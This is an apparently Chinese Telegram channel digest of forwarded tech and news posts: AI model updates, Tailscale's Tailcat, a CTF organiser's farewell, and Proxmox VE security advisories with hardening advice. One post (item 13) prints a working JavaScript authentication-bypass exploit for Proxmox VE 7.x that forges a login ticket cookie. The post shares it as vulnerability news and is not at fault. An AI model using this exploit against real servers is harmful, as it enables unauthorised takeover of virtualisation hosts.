今天abc看了啥🤔

现在我也不知道这频道发了啥了，各位慢慢吃瓜，将就着看

联系我请去 @abc1763613206

友链儿
@cyberElaina
@rvalue_daily
@billchenla

今天abc看了啥🤔

  1. 今天abc看了啥🤔

    GPT-Astra 的 computer use 能力真的恐怖

    Forwarded from 荔枝木
    GPT-Astra 的 computer use 能力真的恐怖。

    它能几乎实时地弹奏 midi 钢琴

    并且它自主通关了明日方舟 JT8-3
    https://www.bilibili.com/video/av117220562704471
    哔哩哔哩
    GPT6大人打明日方舟JT8-3_游戏热门视频
    简介：用的是GPT-6 Astra High，事先告知了模拟器的操；更多实用攻略教学，爆笑沙雕集锦，你所不知道的游戏知识，热门游戏视频7*24小时持续更新,尽在哔哩哔哩bilibili 视频播放量 13984、弹幕量 57、点赞数 321、投硬币枚数 42、收藏人数 114、转发人数 501, 视频作者 好几根阿鱼, 作者简介 ，相关视频：GPT-6 Astra近完美重建绘画过程，网上那么多人吹GPT6，我自己实际试了一下，震惊瘫坐！GPT6一次性生成《我的世界》，塔露拉逆天数值已出！平A一刀大范围6千…

  4. 今天abc看了啥🤔

    Tips: GPT-6 不计算 「缓存写入」费用，并且 1M 上下文不加价GPT-6 Astra usage in Codex does not incur additional long-context multipliers above 272K input tokens. Codex does not charge for cache writes.

    Forwarded from HAT's Public Channel | 🫪
    Tips: GPT-6 不计算 「缓存写入」费用，并且 1M 上下文不加价

    GPT-6 Astra usage in Codex does not incur additional long-context multipliers above 272K input tokens. Codex does not charge for cache writes.


    https://help.openai.com/en/articles/20001415-chatgpt-rate-card-enterprise-token-based-pricing
    OpenAI Help Center
    ChatGPT Rate Card (Enterprise token-based pricing) | OpenAI Help Center
    Learn how token rates work for ChatGPT models and features across Chat, ChatGPT Work and Codex

  5. 今天abc看了啥🤔

    智谱干的 😡9 月 3 日至 9 月 20 日，GLM Coding Plan 推出夜间畅蹬活动，每晚 23 点至次日 9 点， 调用套餐中的 GLM-5.3-Flash，在 ZCode 中免费使用，在其他套餐支持的 Agent 中使用额度翻倍， 进入指定时间段自动生效，覆盖所有付费套餐用户

    Forwarded from 无印🐑品 #BeHonest
    智谱干的 😡

    9 月 3 日至 9 月 20 日，GLM Coding Plan 推出夜间畅蹬活动，每晚 23 点至次日 9 点， 调用套餐中的 GLM-5.3-Flash，在 ZCode 中免费使用，在其他套餐支持的 Agent 中使用额度翻倍， 进入指定时间段自动生效，覆盖所有付费套餐用户。

    https://docs.bigmodel.cn/cn/coding-plan/notice/event-glm-5.3-flash
    智谱AI开放文档
    夜间畅用活动 - 智谱AI开放文档
    夜间畅用活动 - 智谱AI开放文档

  7. 今天abc看了啥🤔

    #life #CTFWMCTF 再会 - 满秋碎碎念InstantView · Source

    Forwarded from 🐱MiaoTony's Box | 困困困 zzz (MiaoTony 🐱)
    #life #CTF
    WMCTF 再会 - 满秋碎碎念
    InstantView · Source
    Telegraph
    WMCTF 再会 - 满秋碎碎念
    WMCTF 再会 AI发展速度快到我都不知道自己是谁了 经过深思熟虑之后，我们决定放弃WMCTF 2026，或者说在 古法CTF 没有想到新的花样前，我们不会再举办传统CTF比赛了. 0x00 缘起 CTF 是我安全的引路石 说起来，这已经是 WMCTF 的第七个年头了。从队伍诞生的那一刻起，我们就希望在比赛中为大家带来一些真正有意义的题目：无论是漏洞利用的思路，还是题目的发散空间，都不应设限。 在把握一场比赛的难度时，我总会先把“偏难怪”的方向放到一边，把“有趣/有意义”作为最终的出题标准。毕竟从一开…

    lifeCTF

  8. 今天abc看了啥🤔

    看来Google终于忍无可忍，Android17开始，禁止第三方应用读取开发者选项和USB调试状态，值始终是0

    Forwarded from 南宫雪珊
    看来Google终于忍无可忍，Android17开始，禁止第三方应用读取开发者选项和USB调试状态，值始终是0。
    https://github.com/aosp-mirror/platform_frameworks_base/commit/5d466bf8025ed8a68d9d49b47289f4f5cefbc139
    GitHub
    Add redactedValue for ADB_ENABLED and DEVELOPMENT_SETTINGS_ENABLED · aosp-mirror/platform_frameworks_base@5d466bf
    We update ADB_ENABLED and DEVELOPEMENT_SETTINGS_ENABLED to have a
    redactedValue of 0, since this information is not important
    for the third-party apps.

    Bug: 440232200
    Test: atest android.appseurit...

  10. 今天abc看了啥🤔

    分享央视新闻的微博：#深夜门口站满了大象#【#云南一村庄夜里来了50头大象#】近日，在云南西双版纳磨憨镇尚勇村，50头野生亚洲象深夜进村觅食休憩

    Forwarded from 漠伦
    分享央视新闻的微博：#深夜门口站满了大象#【#云南一村庄夜里来了50头大象#】近日，在云南西双版纳磨憨镇尚勇村，50头野生亚洲象深夜进村觅食休憩。不少本地村民表示，近20年来从未见过规模如此庞大的野象群。当地立刻启动应急预警，借助无人机全程追踪象群动态。本次象群性情温顺，未冲撞民居、滋扰村民。8月2... https://weibo.com/2656274875/Rg2RW1KZl (来自Share微博客户端)
    Weibo
    #深夜门口站满了大象##云南一村庄夜里来... 来自央视新闻 - 微博
    #深夜门口站满了大象#【#云南一村庄夜里来了50头大象#】近日，在云南西双版纳磨憨镇尚勇村，50头野生亚洲象深夜进村觅食休憩。不少本地村民表示，近20年来从未见过规模如此庞大的野象群。当地立刻启动应急预警，...

  11. 今天abc看了啥🤔

    Tailscale开源Tailcat：不登录不配IP，两台机器直接开隧道Tailscale 开源了 Tailcat

    Forwarded from 动察Beating AI News
    Tailscale开源Tailcat：不登录不配IP，两台机器直接开隧道

    Tailscale 开源了 Tailcat。两台机器不用注册账号，也不用加入同一个 Tailnet，拿到一串地址就能直接连起来。它继续使用 Tailscale 的 WireGuard 加密、NAT 穿透和 DERP 中继，但不需要 Tailscale 的账号和控制面。

    一台机器运行 Tailcat，就会生成一串连接地址。把地址发给另一台机器，就能传文件、转发端口或者 SSH。连接会先通过 DERP 找到对方，再尝试直接建立点对点 UDP 连接；打洞失败，流量才继续走 DERP 中继。整个过程都在用户空间完成，不改系统路由和 DNS。

    Tailscale 首席工程师 Brad Fitzpatrick 早在 2023 年就做出了 Tailcat 原型，后来基本搁置。最近 AI Agent 开始大量连接沙箱、远程 VM 和测试机器，他又把这个项目捡了回来。他用 Tailcat 让 Agent 临时连接树莓派、EC2 和 Windows 主机，不用先给 Agent 配账号和网络。

    Tailcat 也不是完整 Tailscale 的替代品。它没有用户身份、权限策略和设备管理，连接地址本身要像密码一样保管。Tailscale 托管的 Tailcat DERP 中继会记录元数据，而且限速、没有在线率 SLA；需要更稳定或更私密，可以自己部署 DERP。

    信源

    动察 Beating 频道 · 动察 Beating 交流群

  12. 今天abc看了啥🤔

    此漏洞已分配编号 PSA-2026-00043-1确认受影响版本: >= 7.0-7 & <8.0.4 (截止今日均已 EOL), 仍然建议更新到 PVE 9*如果你在 PVE WebUI 中配置了用户的 TFA，就不受此漏洞影响

    Forwarded from HAT's Public Channel | 🫪
    HAT's Public Channel | 🫪
    Update: 由于 PVE 7.x 已 EOL，因此对应版本的 Exploit 已提前发布（确认可完整绕过 WebUI 认证），8.x/9.x 则被作者声明为 “暂时不受影响” 无论如何，尽快参考 最佳实践 加固你所有对外开放的敏感服务！ Exp (.js) 正文: // PVE 7.4 auth-bypass @NebuSec 2026 // First, make sure to try logging in as root with this exact password: root@pam…
    此漏洞已分配编号 PSA-2026-00043-1

    确认受影响版本: >= 7.0-7 & <8.0.4 (截止今日均已 EOL), 仍然建议更新到 PVE 9

    *如果你在 PVE WebUI 中配置了用户的 TFA，就不受此漏洞影响

    https://forum.proxmox.com/threads/proxmox-virtual-environment-security-advisories.149331/page-4#post-867929
    Proxmox Support Forum
    Proxmox Virtual Environment - Security Advisories
    Subject: PSA-2026-00037-1: SCTPhantom Local Privilege Escalation issue

    Advisory date: 2026-08-10

    Packages: proxmox-kernel-*

    Details:

    A use-after-free issue in the Linux kernels SCTP code...

  13. 今天abc看了啥🤔

    Update: 由于 PVE 7.x 已 EOL，因此对应版本的 Exploit 已提前发布（确认可完整绕过 WebUI 认证），8.x/9.x 则被作者声明为 “暂时不受影响”无论如何，尽快参考 最佳实践 加固你所有对外开放的敏感服务！Exp (.js) 正文:// PVE 7.4 auth-bypass @NebuSec 2026

    Forwarded from HAT's Public Channel | 🫪
    Update: 由于 PVE 7.x 已 EOL，因此对应版本的 Exploit 已提前发布（确认可完整绕过 WebUI 认证），8.x/9.x 则被作者声明为 “暂时不受影响”

    无论如何，尽快参考 最佳实践 加固你所有对外开放的敏感服务！

    Exp (.js) 正文:

    // PVE 7.4 auth-bypass @NebuSec 2026
// First, make sure to try logging in as root with this exact password: root@pam
(async () => {
    const form = new URLSearchParams({
        username: "root@pam",
        password: "root@pam",
        "tfa-challenge": "NEBUSEC-CHALLENGE",
    });
    const loginResponse = await fetch("/api2/json/access/ticket", {
        method: "POST",
        credentials: "omit",
        headers: { "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8" },
        body: form,
    });
    const loginBody = await loginResponse.json();
    document.cookie = `PVEAuthCookie=${loginBody?.data?.ticket}; Path=/; Secure; SameSite=Strict`;
    location.reload()
})();


    观后感：不是，你就这么水灵灵的拿到 login cookie 了？

    https://fixupx.com/nebusecurity/status/2094719919539793989
    🧵 Thread • FixupX
    NebuSec (@nebusecurity)
    Proxmox VE 7.x authentication bypass (pre-auth RCE)

  14. 今天abc看了啥🤔

    Forwarded from NS严选 | NodeSelect
    https://www.nodeseek.com/post-905477-1
    NodeSeek
    极点云“免费 VPS” 钓鱼活动与 iOS 零点击攻击链分析报告
    极点云PolarNode"免费VPS"钓鱼活动与iOS零点击攻击链分析报告报告类型：恶意站点与移动端攻击链深度分析分析时间：2026-09-01分析对象：event.polarnode.vip诱饵站点及其注入的lk.wyincc.com/lk.jsiOS利用链威胁定性：以"免费VPS&

  16. 今天abc看了啥🤔

    都说内蒙古地大物博，我真的特别好奇呼和浩特那边有什么特别美味值得一试的食物呢？什么叫呼和浩特东站里面的肯德基和麦当劳？都说内蒙古地大物博，我真的特别好奇呼和浩特那边有什么特别美味值得一试的食物呢？什么叫呼和浩特东站里面的肯德基和麦当劳？

    Forwarded from Haru 的观测站 (Haru)
    都说内蒙古地大物博，我真的特别好奇呼和浩特那边有什么特别美味值得一试的食物呢

  17. 今天abc看了啥🤔

    草，原来 9.1 一堆机器官方定价直接涨了......

    Forwarded from 无印🐑品 #BeHonest
    草，原来 9.1 一堆机器官方定价直接涨了......
    https://www.ithome.com/0/996/694.htm
    Ithome
    华为、小米、荣耀手机今日集体调价 - IT之家
    华为 Mate 80 系列和华为畅享 90 Pro Max 今日（9 月 1 日）进行调价。荣耀 Power2 和 Magic8 两款产品今日进行调价。小米 17 系列、REDMI K90 系列等进行了调价。

  18. 今天abc看了啥🤔

    #风险预警本频道从多信源整理, PVE WebUI 近期极有可能已出现严重 RCE 0day 安全漏洞 (并已出现在野利用报告)，从 PVE7 (已 EOL, 建议立即更新) 到 PVE8 (已知报告版本: 8.0.3 / 8.2 / 8.4) 全系列均已被攻破，可绕过身份验证

    Forwarded from HAT's Public Channel | 🫪
    #风险预警

    本频道从多信源整理, PVE WebUI 近期极有可能已出现严重 RCE 0day 安全漏洞 (并已出现在野利用报告)，从 PVE7 (已 EOL, 建议立即更新) 到 PVE8 (已知报告版本: 8.0.3 / 8.2 / 8.4) 全系列均已被攻破，可绕过身份验证。

    操作建议:

    1) 立即停止将任何 PVE WebUI / WebAPI (8006) / SSH 直接暴露公网；
    2) 如一定需要暴露公网，也尽可能利用 VPN (e.g. Tailscale) / SD-WAN / Cloudflare Zero-Trust (One) 为 PVE WebUI 增加二层防护 (或者最简单的: 加个 basic auth)；在 sshd config 中也禁止使用密码登录；
    3) 哪怕 PVE 仅部署在内网，也请配置好 IP-ACL Rule；
    4) PVE <=8 已正式 EOL，无论如何都请更新到 PVE 9；
    5) 非常建议 PVE9 也采取以上安全措施建议；
    6) 近期在运维时需要投入更多精力关注 PVE 相关补丁更新。


    refs: PVE7 report | PVE 8.0.3/8.2/8.4 report
    Proxmox Support Forum
    Proxmox VE 7 is vulnerable to some type of 0day/RCE non auth
    Two days ago, my Proxmox VE 7 installation, which was over four years old with the latest updates available up to EOL and only one user (root), was encrypted, and a ransom was demanded for...

    风险预警

  19. 今天abc看了啥🤔

    Forwarded from lowendaff (ヾ(◍°∇°◍)ﾉﾞ msnmsl)
    https://www.virtualizor.com/blog/security-incident-bgp-hijacking/

    2026年8月28日至30日期间，Softaculous 位于 Hetzner 的基础设施遭遇了严重的 BGP 劫持攻击，攻击者将大量官方流量重定向至其控制的恶意服务器，并利用骗取的合法 TLS 证书实现了无安全警告的拦截，这导致部分 Virtualizor 服务器在更新时被植入了恶意软件包，且在此期间登录客户区或操作账单的用户也面临着账户密码泄露的风险。

    目前网络路由已全面恢复正常，官方紧急呼吁所有系统管理员立即排查服务器中是否存在特定的入侵指标（如 java-jre-update.service 文件），并立刻重置客户区密码、API 密钥以及审计服务器安全以消除隐患。